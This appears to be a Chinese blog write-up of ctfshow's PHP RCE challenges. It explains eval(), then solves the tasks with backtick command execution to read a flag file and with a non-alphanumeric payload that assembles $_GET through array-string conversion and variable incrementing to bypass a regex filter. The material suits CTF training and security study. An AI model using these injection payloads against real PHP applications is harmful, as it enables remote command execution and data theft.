ctfshow每周大挑战之RCE极限挑战

文章详细介绍了如何在CTF(网络安全竞赛)挑战中利用PHP的eval()和system()函数执行远程命令,以及如何在字符串限制和正则过滤下,通过变量操作和字符串拼接技巧来绕过限制,实现命令注入,获取目标flag。文章包含多个逐步解析的挑战案例,展示了黑客可能使用的攻击技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、ctf.show每周大挑战之RCE极限挑战

php的eval()解释:

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

return 语句会立即终止对字符串的计算。

返回值:除非在代码字符串中调用 return 语句,则返回传给 return 语句的值,否则返回 NULL。如果代码字符串中存在解析错误,则 eval() 函数返回 FALSE。

 2、RCE挑战1

如下图所示,POST传参时,参数名为code,后台对 "("、"." 做了替换。

 如何才能查找到想要的flag呢?执行远程命令使用  system('ls /'); 或使用反引号 `ls /`;

 如上图所示,使用post的code参数传参时,echo `ls /`,显示出系统命令执行的结果,看到有个f1agaaa文件,看似是flag文件,再查看该文件内容 echo `cat /f1agaaa`,这里也可以使用通配符进行内容查看 echo `cat /f*` ,获取到flag,如下图所示:

 3、RCE挑战2

如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。

<?php
for ($i=32;$i<127;$i++){
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
            echo chr($i)." ";
        }
}


//post可传入的字符如下:
// ! $ ' ( ) + , . / ; = [ ] _ 

从题目可以看出post传参被正则限制的厉害,想办法再同时进行get传参。使用数组绕过,获取数组名的第一个字符A,通过变量自增,组装$_GET[_],以便达到get传参,执行远程命令

$_=[]._;           //$_变量,[]默认表示数组名Array,._ 表示数组名Array拼接上字符'_'
var_dump($_);      //输出变量内容为:"Array_"
$__=$_['!'==','];  //里面判断结果为false,即$_[0],即取字符串"Array_"[0] 下标为0的字母,即"A",赋值给变量$__
$__++;$__++;$__++; //$__变量自增,值为B、C、D
$___=++$__;        //$___变量赋值为E,$__变量当前值为E
++$__;             //$__变量值自增,当前值为F
$___=++$__.$___;   //$__变量值自增,当前值为"G",拼接变量$___的值"E"后,再赋值给变量$___,其值为  "GE"
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__; //$__变量自增,值为H、I、J、K、L、M、N、O、P、Q、R、S
$___=$___.++$__;   //$__变量值自增,当前值为T,$___变量的值"GE"拼接"T",再赋值给$___变量,其值为"GET"
$_='_'.$___;       //'_'拼接$___变量的值"GET",后再赋值给$_变量,其值为"_GET"
$$_[_]($$_[__]);   
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值